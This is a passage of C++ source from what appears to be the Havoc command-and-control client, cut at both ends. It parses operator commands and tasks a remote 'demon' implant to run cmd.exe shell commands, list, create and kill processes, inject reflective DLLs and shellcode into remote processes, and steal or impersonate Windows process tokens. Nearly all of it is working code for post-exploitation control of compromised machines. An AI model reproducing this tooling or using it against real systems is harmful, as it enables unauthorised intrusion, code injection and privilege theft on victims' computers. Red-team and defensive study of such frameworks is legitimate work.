Command : HavocX::Teamserver.RegisteredCommands )\n                                {\n                                    if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 )\n                                    {\n                                        int         TotalSize   = 19;\n                                        std::string Spaces      = std::string( ( TotalSize - Command.Command.size() ), ' ' );\n\n                                        DemonConsole->Console->append( \"  \" + QString( Command.Command.c_str() ) + QString( Spaces.c_str() ) + \"       \" + QString( Command.Help.c_str() ) );\n                                    }\n                                }\n                            }\n                        }\n                    }\n\n                    // Alright... we still can't find what we are searching for so lets search for registered commands...\n                    if ( ! FoundCommand )\n                    {\n                        for ( auto& Command : HavocX::Teamserver.RegisteredCommands )\n                        {\n                            if ( InputCommands[ 1 ].compare( Command.Command.c_str() ) == 0 && Command.Module.length() == 0 )\n                            {\n                                FoundCommand = true;\n\n                                DemonConsole->Console->append( \"\" );\n                                DemonConsole->Console->append( \" - Command       :  \" + QString( Command.Command.c_str() ) );\n                                DemonConsole->Console->append( \" - Description   :  \" + QString( Command.Help.c_str() ) );\n\n                                if ( Command.Usage.c_str() )\n                                    DemonConsole->Console->append( \" - Usage         : \" + QString( Command.Module.c_str() ) + \" \" + QString( Command.Command.c_str() ) + \" \" + QString( Command.Usage.c_str() ) );\n\n                                if ( Command.Example.c_str() )\n                                    DemonConsole->Console->append( \" - Example       : \" + QString( Command.Module.c_str() ) + \" \" + QString( Command.Command.c_str() ) + \" \" + QString( Command.Example.c_str() ) );\n\n                            }\n                        }\n                    }\n\n                    // Ok we have no clue what you mean lol.\n                    if ( ! FoundCommand )\n                        DemonConsole->Console->append( Util::ColorText::Red( \"[-]\" ) + \" Couldn't find command: \" + InputCommands[ 1 ] );\n                }\n            }\n            else\n            {\n                int TotalSize = 25;\n\n                std::vector<QString> commandOutput;\n\n                for (auto &i : DemonCommandList)\n                {\n                    QString currentLine;\n\n                    if (!i.SubCommands.empty() || i.Module)\n                    {\n                        if (i.Module)\n                        {\n                            currentLine = \"  \" + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + \"Module \" + \"      \" + i.Description;\n                        }\n                        else if (i.SubCommands.empty())\n                        {\n                            if (i.SubCommands[0].CommandString != nullptr)\n                            {\n                                currentLine = \"  \" + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + \"Module \" + \"      \" + i.Description;\n                            }\n                        }\n                        else\n                        {\n                            currentLine = \"  \" + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + \"Command\" + \"      \" + i.Description;\n                        }\n                    }\n                    else\n                    {\n                        currentLine = \"  \" + i.CommandString + QString(std::string((TotalSize - i.CommandString.size()), ' ').c_str()) + \"Command\" + \"      \" + i.Description;\n                    }\n\n                    commandOutput.push_back(currentLine);\n                }\n\n                for (auto &Module : HavocX::Teamserver.RegisteredModules)\n                {\n                    if (!Module.Name.empty())\n                    {\n                        QString currentLine = \"  \" + QString(Module.Name.c_str()) + QString(std::string((TotalSize - Module.Name.size()), ' ').c_str()) + \"Module \" + \"      \" + QString(Module.Description.c_str());\n                        commandOutput.push_back(currentLine);\n                    }\n                }\n\n                for (auto &Command : HavocX::Teamserver.RegisteredCommands)\n                {\n                    if (Command.Module.empty())\n                    {\n                        QString currentLine = \"  \" + QString(Command.Command.c_str()) + QString(std::string((TotalSize - Command.Command.size()), ' ').c_str()) + \"Command\" + \"      \" + QString(Command.Help.c_str());\n                        commandOutput.push_back(currentLine);\n                    }\n                }\n\n                // Sort the commandOutput vector alphabetically\n                std::sort(commandOutput.begin(), commandOutput.end(), compareQString);\n\n                // Append the sorted commands to the console\n                DemonConsole->Console->append(\"\");\n                DemonConsole->Console->append(\"Demon Commands\");\n                DemonConsole->Console->append(\"==============\");\n                DemonConsole->Console->append(\"\");\n                DemonConsole->Console->append(\"  Command                  Type         Description\");\n                DemonConsole->Console->append(\"  -------                  -------      -----------\");\n\n                for (const auto &output : commandOutput)\n                {\n                    DemonConsole->Console->append(output);\n                }\n            }\n\n            return true;\n        }\n        else if ( InputCommands[ 0 ].compare( \"sleep\" ) == 0 )\n        {\n            if ( InputCommands.size() < 2 ) {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n\n            if ( InputCommands.size() > 3 ) {\n                CONSOLE_ERROR( \"Too many arguments\" );\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].at( 0 ) == '-' )\n            {\n                CONSOLE_ERROR( \"\\\"sleep\\\" doesn't support negative delays\" );\n                return false;\n            }\n\n            auto jit = QString( \"0\" );\n            if ( InputCommands.size() == 3 )\n            {\n                jit = InputCommands[ 2 ];\n                bool ok;\n                double jitter = jit.toDouble(&ok);\n                if ( ok == false )\n                {\n                    CONSOLE_ERROR( \"Invalid jitter\" );\n                    return false;\n                }\n                if ( jitter < 0 )\n                {\n                    CONSOLE_ERROR( \"\\\"sleep\\\" doesn't support negative jitters\" );\n                    return false;\n                }\n                if ( jitter > 100 )\n                {\n                    CONSOLE_ERROR( \"The jitter can't be larger than 100\" );\n                    return false;\n                }\n                TaskID = CONSOLE_INFO( \"Tasked demon to sleep for \" + InputCommands[ 1 ] + \" seconds with \" + jit + \"% jitter\" );\n            }\n            else\n            {\n                TaskID = CONSOLE_INFO( \"Tasked demon to sleep for \" + InputCommands[ 1 ] + \" seconds\" );\n\n            }\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.Sleep( TaskID, InputCommands[ 1 ] + \";\" + jit ) )\n        }\n        else if ( InputCommands[ 0 ].compare( \"interactive\" ) == 0 )\n        {\n            if ( InputCommands.size() > 1 ) {\n                CONSOLE_ERROR( \"Too many arguments\" );\n                return false;\n            }\n\n            TaskID = CONSOLE_INFO( \"Tasked demon to enter interactive mode\" );\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.Sleep( TaskID, \"0;0\" ) )\n        }\n        else if ( InputCommands[ 0 ].compare( \"checkin\" ) == 0 )\n        {\n            TaskID = CONSOLE_INFO( \"Tasked demon send back a checkin request\" );\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.Checkin( TaskID ) )\n        }\n        else if ( InputCommands[ 0 ].compare( \"task\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked teamserver to list commands in task queue\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Task( TaskID, \"task::list\" ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"clear\" ) == 0 )\n            {\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked teamserver to clear all commands from task queue\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Task( TaskID, \"task::clear\" ) );\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Sub command '\" + InputCommands[ 1 ]+ \"' in 'task' not found found\" )\n                return false;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"job\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to list jobs\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Job( TaskID, \"list\", \"0\" ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"suspend\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 3 )\n                {\n                    TaskID = CONSOLE_INFO( \"Tasked demon to suspend job: \" + InputCommands[ 2 ] );\n                    CommandInputList[ TaskID ] = commandline;\n\n                    SEND( Execute.Job( TaskID, \"suspend\", InputCommands[ 2 ] ) )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                }\n            }\n            else if ( InputCommands[ 1 ].compare( \"resume\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 3 )\n                {\n                    TaskID = CONSOLE_INFO( \"Tasked demon to resume job: \" + InputCommands[ 2 ] );\n                    CommandInputList[ TaskID ] = commandline;\n\n                    SEND( Execute.Job( TaskID, \"resume\", InputCommands[ 2 ] ) )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                }\n            }\n            else if ( InputCommands[ 1 ].compare( \"kill\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 3 )\n                {\n                    TaskID = CONSOLE_INFO( \"Tasked demon to kill job: \" + InputCommands[ 2 ] );\n                    CommandInputList[ TaskID ] = commandline;\n\n                    SEND( Execute.Job( TaskID, \"kill\", InputCommands[ 2 ] ) )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                }\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Sub command not found: \" + InputCommands[ 1 ] )\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"dir\" ) == 0 || InputCommands[ 0 ].compare( \"ls\" ) == 0 )\n        {\n            auto Path      = QString( \"\" );\n            auto SubDirs   = \"false\";\n            auto FilesOnly = \"false\";\n            auto DirsOnly  = \"false\";\n            auto ListOnly  = \"false\";\n            auto Starts    = QString( \"\" );\n            auto Contains  = QString( \"\" );\n            auto Ends      = QString( \"\" );\n\n            if ( InputCommands.size() == 1 )\n            {\n                Path = \".\";\n                TaskID = CONSOLE_INFO( \"Tasked demon to list current directory\" );\n            }\n            else\n            {\n                Path = InputCommands[ 1 ];\n                for ( int i = 2; i < InputCommands.size(); ++i )\n                {\n                    if ( InputCommands[ i ].compare( \"/s\" ) == 0 )\n                    {\n                        SubDirs = \"true\";\n                    }\n                    else if ( InputCommands[ i ].compare( \"/f\" ) == 0 )\n                    {\n                        FilesOnly = \"true\";\n                    }\n                    else if ( InputCommands[ i ].compare( \"/d\" ) == 0 )\n                    {\n                        DirsOnly = \"true\";\n                    }\n                    else if ( InputCommands[ i ].compare( \"/b\" ) == 0 )\n                    {\n                        ListOnly = \"true\";\n                    }\n                    else if ( InputCommands[ i ].compare( \"/starts\" ) == 0 )\n                    {\n                        if ( i + 1 == InputCommands.size() )\n                        {\n                            CONSOLE_ERROR( \"Not enough arguments\" );\n                            return false;\n                        }\n\n                        Starts = InputCommands[ i + 1 ];\n                        i++;\n                    }\n                    else if ( InputCommands[ i ].compare( \"/contains\" ) == 0 )\n                    {\n                        if ( i + 1 == InputCommands.size() )\n                        {\n                            CONSOLE_ERROR( \"Not enough arguments\" );\n                            return false;\n                        }\n\n                        Contains = InputCommands[ i + 1 ];\n                        i++;\n                    }\n                    else if ( InputCommands[ i ].compare( \"/ends\" ) == 0 )\n                    {\n                        if ( i + 1 == InputCommands.size() )\n                        {\n                            CONSOLE_ERROR( \"Not enough arguments\" );\n                            return false;\n                        }\n\n                        Ends = InputCommands[ i + 1 ];\n                        i++;\n                    }\n                    else\n                    {\n                        CONSOLE_ERROR( \"Unknown parameter \" + InputCommands[ i ] );\n                        return false;\n                    }\n                }\n\n                if ( FilesOnly == \"true\" && DirsOnly == \"true\" )\n                {\n                    CONSOLE_ERROR( \"Cannot set both /f and /d\" );\n                    return false;\n                }\n\n                TaskID = CONSOLE_INFO( \"Tasked demon to list \" + Path );\n            }\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"dir\", Path + \";\" + SubDirs + \";\" + FilesOnly + \";\" + DirsOnly + \";\" + ListOnly + \";\" + Starts + \";\" + Contains + \";\" + Ends ) );\n        }\n        else if (InputCommands[0].compare( \"cd\" ) == 0)\n        {\n            if ( InputCommands.size() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n\n            auto Path = JoinAtIndex( InputCommands, 1 );\n            TaskID = CONSOLE_INFO( \"Tasked demon to change directory: \" + Path );\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"cd\", Path ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"cp\" ) == 0)\n        {\n            if ( InputCommands.size() < 3 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n\n            auto PathFrom = InputCommands[ 1 ];\n            auto PathTo   = JoinAtIndex( InputCommands, 2 );\n\n            TaskID = CONSOLE_INFO( \"Tasked demon to copy file \" + PathFrom + \" to \" + PathTo );\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"cp\", PathFrom.toLocal8Bit().toBase64() + \";\" + PathTo.toLocal8Bit().toBase64() ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"mv\" ) == 0 || InputCommands[ 0 ].compare( \"move\" ) == 0 )\n        {\n            if ( InputCommands.size() < 3 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n\n            auto PathFrom = InputCommands[ 1 ];\n            auto PathTo   = JoinAtIndex( InputCommands, 2 );\n\n            TaskID = CONSOLE_INFO( \"Tasked demon to move file \" + PathFrom + \" to \" + PathTo );\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"mv\", PathFrom.toLocal8Bit().toBase64() + \";\" + PathTo.toLocal8Bit().toBase64() ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"remove\" ) == 0 )\n        {\n            if ( InputCommands.size() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n\n            auto Path = JoinAtIndex( InputCommands, 1 );\n            TaskID = CONSOLE_INFO( \"Tasked demon to remove file or directory: \" + Path );\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"remove\", Path ) );\n        }\n        else if (InputCommands[0].compare( \"mkdir\" ) == 0)\n        {\n            auto Path = JoinAtIndex( InputCommands, 1 );\n            TaskID = CONSOLE_INFO( \"Tasked demon to create new directory: \" + Path );\n\n            if ( InputCommands.size() < 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" );\n                return false;\n            }\n\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"mkdir\", Path ) );\n        }\n        else if ( InputCommands[0].compare( \"pwd\" ) == 0)\n        {\n            TaskID = CONSOLE_INFO( \"Tasked demon to get current working directory\" );\n            CommandInputList[ TaskID ] = commandline;\n            SEND( Execute.FS( TaskID, \"pwd\", \"\" ) );\n        }\n        else if ( InputCommands[ 0 ].compare( \"shell\" ) == 0 )\n        {\n            if ( InputCommands.length() > 1 )\n            {\n                auto Program = QString(\"c:\\\\windows\\\\system32\\\\cmd.exe\");\n                // NOTE: the 'shell' command does not need to escape quotes\n                auto Args = QString( \"/c \" + JoinAtIndex( commandline.split( \" \" ), 1 ) ).toUtf8().toBase64();\n\n                TaskID = CONSOLE_INFO( \"Tasked demon to execute a shell command\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.ProcModule( TaskID, 4, \"0;FALSE;TRUE;\" + Program + \";\" + Args ) )\n            }\n            else\n            {\n                DemonConsole->Console->append( \"\" );\n                DemonConsole->Console->append( Prompt );\n                DemonConsole->TaskError( \"Not enough arguments\" );\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"proc\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                DemonConsole->Console->append( \"\" );\n                DemonConsole->Console->append( Prompt );\n                DemonConsole->TaskError( \"Not enough arguments\" );\n                return false;\n            }\n            if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to enumerate and list all processes\" );\n                CommandInputList[ TaskID ] = commandline;\n                if ( Send ) Execute.ProcList( TaskID, false );\n\n            }\n            else if ( InputCommands[ 1 ].compare( \"modules\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 3 )\n                {\n                    TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to list all modules/dll of a remote process\" );\n                    CommandInputList[ TaskID ] = commandline;\n\n                    if ( Send )\n                        Execute.ProcModule( TaskID, 2, InputCommands[ 2 ] );\n                }\n                else\n                {\n                    DemonConsole->Console->append( \"\" );\n                    DemonConsole->Console->append( Prompt );\n                    DemonConsole->TaskError( \"Not enough arguments\" );\n                }\n            }\n\n            else if ( InputCommands[ 1 ].compare( \"grep\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 3 )\n                {\n                    TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to grep information about the specified process\" );\n                    CommandInputList[TaskID] = commandline;\n\n                    if ( Send )\n                        Execute.ProcModule( TaskID, 3, InputCommands[ 2 ] );\n                }\n                else\n                {\n                    DemonConsole->Console->append( \"\" );\n                    DemonConsole->Console->append( Prompt );\n                    DemonConsole->TaskError( \"Not enough arguments\" );\n                }\n            }\n\n            else if ( InputCommands[ 1 ].compare( \"create\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 4 )\n                {\n                    auto Index   = 2;\n                    auto Flags   = QString();\n                    auto Program = QString();\n                    auto Args    = QString();\n                    auto Verbose = QString();\n                    auto Piped   = QString();\n\n                    if ( InputCommands[ Index ].compare( \"normal\" ) == 0 )\n                    {\n                        Flags = \"0\";\n                    }\n                    else if ( InputCommands[ Index ].compare( \"suspended\" ) == 0 )\n                    {\n                        // CREATE_SUSPENDED = 0x00000004\n                        Flags = \"4\";\n                    }\n                    else\n                    {\n                        CONSOLE_ERROR( \"Process creation flag not found: \" + InputCommands[ Index ] )\n                        return false;\n                    }\n\n                    Index++;\n\n                    Verbose = \"TRUE\";\n                    if ( InputCommands[ Index ].compare( \"--silent\" ) == 0 )\n                    {\n                        Verbose = \"FALSE\";\n                        Index++;\n                    }\n\n\n                    Piped = \"TRUE\";\n                    if ( InputCommands[ Index ].compare( \"--no-pipe\" ) == 0 )\n                    {\n                        Piped = \"FALSE\";\n                        Index++;\n                    }\n\n                    Program = InputCommands[ Index ];\n\n                    Index++;\n\n                    Args = \"\\\"\" + Program + \"\\\"\";\n                    for (int i = Index; i < InputCommands.length(); ++i)\n                    {\n                        Args += \" \" + InputCommands[ i ];\n                    }\n\n                    if ( Flags.compare( \"4\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to spawn a process in suspended state: \" + Program );\n                    }\n                    else\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to spawn a process: \" + Program );\n                    }\n\n                    Args = Args.toUtf8().toBase64();\n\n                    CommandInputList[ TaskID ] = commandline;\n\n                    SEND( Execute.ProcModule( TaskID, 4, Flags + \";\" + Verbose + \";\" + Piped + \";\" + Program + \";\" + Args ) )\n                }\n                else\n                {\n                    DemonConsole->Console->append( \"\" );\n                    DemonConsole->Console->append( Prompt );\n                    DemonConsole->TaskError( \"Not enough arguments\" );\n                }\n            }\n            else if ( InputCommands[ 1 ].compare( \"blockdll\" ) == 0 )\n            {\n                if ( InputCommands.length() >= 3 )\n                {\n                    if ( InputCommands[ 2 ].compare( \"on\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to enable blocking non microsoft signed dlls\" );\n                    }\n                    else if ( InputCommands[ 2 ].compare( \"off\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to disable blocking non microsoft signed dlls\" );\n                    }\n                    else\n                    {\n                        CONSOLE_ERROR( \"Argument not valid\" );\n                        return false;\n                    }\n\n                    CommandInputList[ TaskID ] = commandline;\n\n                    SEND( Execute.ProcModule( TaskID, 5, InputCommands[ 2 ] ) )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n            }\n\n            else if ( InputCommands[ 1 ].compare( \"kill\" ) == 0 )\n            {\n                if ( InputCommands.size() >= 3 )\n                {\n                    TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to kill a process\" );\n                    CommandInputList[ TaskID ] = commandline;\n\n                    if ( ! is_number( InputCommands[ 2 ].toStdString() ) )\n                    {\n                        CONSOLE_ERROR( \"Specified process id to kill is not a number.\" )\n                        return false;\n                    }\n\n                    SEND( Execute.ProcModule( TaskID, 7, InputCommands[ 2 ] ) )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n            }\n            else if ( InputCommands[ 1 ].compare( \"memory\" ) == 0 )\n            {\n                if ( InputCommands.size() >= 4 )\n                {\n                    TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to query for\" + InputCommands[ 3 ] + \" memory regions from \" + InputCommands[ 2 ] );\n                    CommandInputList[ TaskID ] = commandline;\n\n                    if ( Send )\n                        Execute.ProcModule( TaskID, 6, InputCommands[ 2 ] + \" \" + InputCommands[ 3 ] );\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n            }\n            else\n            {\n                CONSOLE_ERROR( \"Modules command not found: \" + InputCommands[ 1 ] );\n                return false;\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"ps\" ) == 0 )\n        {\n            if ( InputCommands.size() != 1 )\n            {\n                    CONSOLE_ERROR( \"Too many arguments\" )\n                    return false;\n            }\n            // same as 'proc list'\n            TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to enumerate and list all processes\" );\n            CommandInputList[ TaskID ] = commandline;\n            if ( Send ) Execute.ProcList( TaskID, false );\n        }\n        else if ( InputCommands[ 0 ].compare( \"dll\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"inject\" ) == 0 )\n            {\n                // dll inject [target pid] [/path/to/shellcode.x64.bin]\n                if ( InputCommands.size() < 4 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                auto Pid  = InputCommands[ 2 ];\n                auto Path = InputCommands[ 3 ];\n                auto Args = QString();\n\n                if ( InputCommands.size() > 4 )\n                {\n                    Args = JoinAtIndex( InputCommands, 4 );\n                }\n\n                if ( ! QFile::exists( Path ) )\n                {\n                    CONSOLE_ERROR( \"Specified reflective dll file not found\" )\n                    return false;\n                }\n\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to inject a reflective dll: \" + Path );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.DllInject( TaskID, Pid, Path, Args ) )\n            }\n            else if ( InputCommands[ 1 ].compare( \"spawn\" ) == 0 )\n            {\n                // dll spawn [path] [arguments]\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                auto Path = InputCommands[ 2 ];\n                auto Args = QString();\n\n                if ( InputCommands.size() >= 3 )\n                {\n                    Args = JoinAtIndex( InputCommands, 3 );\n                }\n\n                if ( ! QFile::exists( Path ) )\n                {\n                    CONSOLE_ERROR( \"Specified reflective dll file not found\" )\n                    return false;\n                }\n\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to spawn a reflective dll: \" + Path );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.DllSpawn( TaskID, Path, Args.toLocal8Bit() ) )\n\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"shellcode\" ) == 0 )\n        {\n            if ( InputCommands.size() == 1 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ] .compare( \"inject\" ) == 0 )\n            {\n                TaskID = DemonConsole->TaskInfo( Send, nullptr, \"Tasked demon to inject shellcode into a remote process\" );\n\n                if ( InputCommands.size() >= 5 )\n                {\n                    auto TargetArch = InputCommands[ 2 ];\n                    auto TargetPID  = InputCommands[ 3 ];\n                    auto Shellcode  = QString( ( InputCommands.begin() + 4 )->toStdString().c_str() );\n\n                    if ( ! QFile::exists( Shellcode ) ) {\n                        CONSOLE_ERROR( \"Specified file not found\" )\n                        return false;\n                    }\n\n                    if ( TargetArch.compare( \"x64\" ) != 0 && TargetArch.compare( \"x86\" ) != 0 ) {\n                        CONSOLE_ERROR( \"Incorrect process arch specified: \" + TargetArch )\n                        return false;\n                    }\n\n                    CommandInputList[ TaskID ] = commandline;\n\n                    SEND( Execute.ShellcodeInject( TaskID, \"default\", TargetPID, TargetArch, Shellcode, \"\" ) );\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n            }\n            else if ( InputCommands[ 1 ].compare( \"spawn\" ) == 0 )\n            {\n                if ( InputCommands.size() >= 4 )\n                {\n                    auto TargetArch          = InputCommands[ 2 ];\n                    auto ShellcodeBinaryPath = InputCommands[ 3 ];\n\n                    if ( TargetArch.compare( \"x64\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to fork and inject a x64 shellcode\" );\n                    }\n                    else if ( TargetArch.compare( \"x86\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to fork and inject a x86 shellcode\" );\n                    }\n                    else\n                    {\n                        CONSOLE_ERROR( \"Incorrect process arch specified: \" + TargetArch )\n                    }\n\n                    if ( ! QFile::exists( ShellcodeBinaryPath ) )\n                    {\n                        CONSOLE_ERROR( \"Couldn't find specified binary: \" + ShellcodeBinaryPath )\n                        return false;\n                    }\n\n                    CommandInputList[ TaskID ] = commandline;\n                    SEND( Execute.ShellcodeSpawn( TaskID, \"default\", TargetArch, ShellcodeBinaryPath, \"\" ); )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n            }\n            else if ( InputCommands[ 1 ].compare( \"execute\" ) == 0 )\n            {\n                if ( InputCommands.size() >= 4 )\n                {\n                    auto TargetArch          = InputCommands[ 2 ];\n                    auto ShellcodeBinaryPath = InputCommands[ 3 ];\n\n                    if ( TargetArch.compare( \"x64\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to self inject a x64 shellcode\" );\n                    }\n                    else if ( TargetArch.compare( \"x86\" ) == 0 )\n                    {\n                        TaskID = CONSOLE_INFO( \"Tasked demon to self inject a x86 shellcode\" );\n                    }\n                    else\n                    {\n                        CONSOLE_ERROR( \"Incorrect process arch specified: \" + TargetArch )\n                    }\n\n                    if ( ! QFile::exists( ShellcodeBinaryPath ) )\n                    {\n                        CONSOLE_ERROR( \"Couldn't find specified binary: \" + ShellcodeBinaryPath )\n                        return false;\n                    }\n\n                    CommandInputList[ TaskID ] = commandline;\n                    SEND( Execute.ShellcodeExecute( TaskID, \"default\", TargetArch, ShellcodeBinaryPath, \"\" ); )\n                }\n                else\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n            }\n        }\n\n            // NOTE: this function is only for debug purpose only. don't forget to remove this on final release\n        else if ( InputCommands[0].compare( \"__debug\" ) == 0 )\n        {\n            if (InputCommands.size() == 1)\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if (InputCommands[1].compare(\"dump-text\") == 0)\n            {\n                QFile filecontent(\"/tmp/TextEdit-dump.txt\");\n                filecontent.open(QFile::Append | QFile::Text);\n                filecontent.write(DemonConsole->Console->toPlainText().toStdString().c_str());\n                filecontent.close();\n            }\n            else if (InputCommands[1].compare(\"dump-html\") == 0)\n            {\n                QFile filecontent(\"/tmp/TextEdit-dump-html.html\");\n                filecontent.open(QFile::Append | QFile::Text);\n                filecontent.write(DemonConsole->Console->toHtml().toStdString().c_str());\n                filecontent.close();\n            }\n        }\n        else if ( InputCommands[ 0 ].compare( \"token\" ) == 0 )\n        {\n            if ( InputCommands.size() < 2 )\n            {\n                CONSOLE_ERROR( \"Not enough arguments\" )\n                return false;\n            }\n\n            if ( InputCommands[ 1 ].compare( \"impersonate\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                auto TokenID = InputCommands[ 2 ];\n\n                TaskID = CONSOLE_INFO( \"Tasked demon to impersonate a process token\" );\n                CommandInputList[TaskID] = commandline;\n\n                SEND( Execute.Token( TaskID, \"impersonate\", TokenID ); )\n            }\n            else if ( InputCommands[ 1 ].compare( \"steal\" ) == 0 )\n            {\n                if ( InputCommands.size() < 3 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                if ( InputCommands.size() > 4 )\n                {\n                    CONSOLE_ERROR( \"Too many arguments\" )\n                    return false;\n                }\n\n                auto TargetProcessID = InputCommands[ 2 ];\n                QString TargetHandle    = \"0\";\n                if ( InputCommands.size() == 4 )\n                {\n                    TargetHandle = InputCommands[ 3 ];\n                }\n\n                TaskID = CONSOLE_INFO( \"Tasked demon to steal a process token\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"steal\", TargetProcessID + \";\" + TargetHandle ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"list\" ) == 0 )\n            {\n                TaskID = CONSOLE_INFO( \"Tasked demon to list token vault\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"list\", \"\" ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"find\" ) == 0 )\n            {\n                TaskID = CONSOLE_INFO( \"Tasked demon to find tokens\" );\n                CommandInputList[ TaskID ] = commandline;\n\n                SEND( Execute.Token( TaskID, \"find\", \"\" ) );\n            }\n            else if ( InputCommands[ 1 ].compare( \"make\" ) == 0 )\n            {\n                if ( InputCommands.size() < 5 )\n                {\n                    CONSOLE_ERROR( \"Not enough arguments\" )\n                    return false;\n                }\n\n                if ( 